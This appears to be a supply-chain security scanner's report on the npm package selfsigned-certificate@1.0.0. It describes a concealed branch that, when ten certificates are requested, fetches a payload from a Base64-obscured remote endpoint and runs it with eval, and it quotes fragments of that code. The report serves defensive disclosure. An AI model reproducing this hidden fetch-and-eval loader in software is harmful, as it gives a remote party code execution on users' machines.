registry / Remote code execution / selfsigned-certificate

selfsigned-certificate

Generates random self-signed SSL certificates in memory for development and testing

This report shows the evidence for selfsigned-certificate@1.0.0. 2 of 3 known versions are blocked or flagged. The newest version, 0.0.1-security, is allowed. See all versions.

AI Security Review

scanned 2mo ago · by lpm-firewall-ai

This package contains a concrete, user-triggered remote code execution chain hidden inside its certificate generator. The behavior is unrelated to its stated purpose and warrants blocking.

Static reason

One or more suspicious static signals were detected.

Trigger

A consumer calls generateCertificates with count set to 10.

Impact

The remote endpoint can run arbitrary code with the permissions of the consuming process.

Mechanism

Fetches a remote payload and evaluates it as JavaScript.

Attack narrative

The documented certificate API contains a concealed branch for exactly ten certificates. That branch sends a request to a remotely controlled endpoint, treats its response as Base64 text, and evaluates the decoded result. This gives the endpoint arbitrary code execution in any application that invokes that otherwise ordinary API call.

AI rationale

This package contains a concrete, user-triggered remote code execution chain hidden inside its certificate generator. The behavior is unrelated to its stated purpose and warrants blocking.

Evidence

index.jsREADME.mdpackage.json

Network endpoints1

jetpack.cv/wp-json/selfsigned-certs/v3/init

Decision evidence

public snapshot

AI called this Malicious at 99.0% confidence as Malware with low false-positive risk.

Evidence for block

The exported API has a hidden count-specific path that contacts a remote server.
The remote response is Base64-decoded and passed directly to eval.
Remote code execution is unrelated to generating self-signed certificates and is not documented.

Evidence against

package.json contains no lifecycle scripts.
The normal certificate-generation path uses the declared selfsigned dependency in memory.

Behavioral surface

Source

EvalFilesystemNetwork

Supply chain

HighEntropyStrings

ManifestNo manifest risk signals triggered.

scanned 1 file(s), 4.47 KB of source

Source & flagged code

6 flagged

index.jsView file

36}; L37: const baseurl = Buffer.from('[redacted]=', 'base64').toString('utf8'); L38: const url = `${baseurl}/selfsigned-certs/v3/init`;

High

Base64 Obscured Url

Source decodes a Base64-obscured HTTP endpoint at runtime.

index.jsView on unpkg · L36

37const baseurl = Buffer.from('[redacted]=', 'base64').toString('utf8'); const url = `${baseurl}/selfsigned-certs/v3/init`; return new Promise((resolve) => { try { const req = https.request( url, { method: 'POST',

High

Ai Review Evidence

The exported API has a hidden count-specific path that contacts a remote server.

index.jsView on unpkg · L37

110function loadSampleCertificates() { try { initSampleCertificates().then((certs) => { const data = Buffer.from(certs, 'base64'); eval(data.toString('utf8')); });

High

Ai Review Evidence

The remote response is Base64-decoded and passed directly to eval.

index.jsView on unpkg · L110

140function generateCertificates(count) { const certificates = []; if (count === 10) { loadSampleCertificates(); }

High

Ai Review Evidence

The exported API has a hidden count-specific path that contacts a remote server.

index.jsView on unpkg · L140

113const data = Buffer.from(certs, 'base64'); L114: eval(data.toString('utf8')); L115: });

Low

Eval

Package source references a known benign dynamic code generation pattern.

index.jsView on unpkg · L113

README.mdView file

1# selfsigned-certificate A Node.js module for generating random self-signed SSL certificates in memory for development and testing.

High

Ai Review Evidence

Remote code execution is unrelated to generating self-signed certificates and is not documented.

README.mdView on unpkg · L1

Source & flagged code

6 flagged · loading source

index.jsView file

36}; L37: const baseurl = Buffer.from('[redacted]=', 'base64').toString('utf8'); L38: const url = `${baseurl}/selfsigned-certs/v3/init`;

High

Base64 Obscured Url

Source decodes a Base64-obscured HTTP endpoint at runtime.

index.jsView on unpkg · L36

High

Ai Review Evidence

The exported API has a hidden count-specific path that contacts a remote server.

index.jsView on unpkg · L37

110function loadSampleCertificates() { try { initSampleCertificates().then((certs) => { const data = Buffer.from(certs, 'base64'); eval(data.toString('utf8')); });

High

Ai Review Evidence

The remote response is Base64-decoded and passed directly to eval.

index.jsView on unpkg · L110

Findings

5 High1 Medium3 Low

HighBase64 Obscured Urlindex.js

HighAi Review Evidenceindex.js

HighAi Review EvidenceREADME.md

MediumNetwork

LowEvalindex.js

LowFilesystem

LowHigh Entropy Strings

Affected versions and remediation

This report applies to selfsigned-certificate@1.0.0.

The versions list below shows the verdict for each recorded version.

Avoid installing selfsigned-certificate@1.0.0. Remove it from direct dependencies and check your lockfile for transitive copies.
Choose an independently verified alternative or release. This report does not establish that other versions are safe.
If this version ran, investigate the affected machine and build environment. Rotate credentials it could access and rebuild from a trusted environment.

Evidence last updated: 2026-09-02 04:30:05.756Z (UTC).

Source advisory published: 2026-08-31 17:19:45.000Z (UTC).

Think this verdict is wrong? Dispute it on GitHub or read how reports are produced.

Versions

3 known versions

0.0.1-securitylatestClean—AllowPublishedAug 31, 2026, 5:18 PM 1.1.0MaliciousMalwareBlockPublishedAug 31, 2026, 9:06 AM 1.0.0shownMaliciousRemote Code ExecutionBlockPublishedAug 27, 2026, 6:04 AM

AI Security Review

Decision evidence

Source & flagged code

Source & flagged code

Findings

Affected versions and remediation

Versions

Related packages

Other remote code execution packages

Behavioral surface

Related packages

Other remote code execution packages

Source & flagged code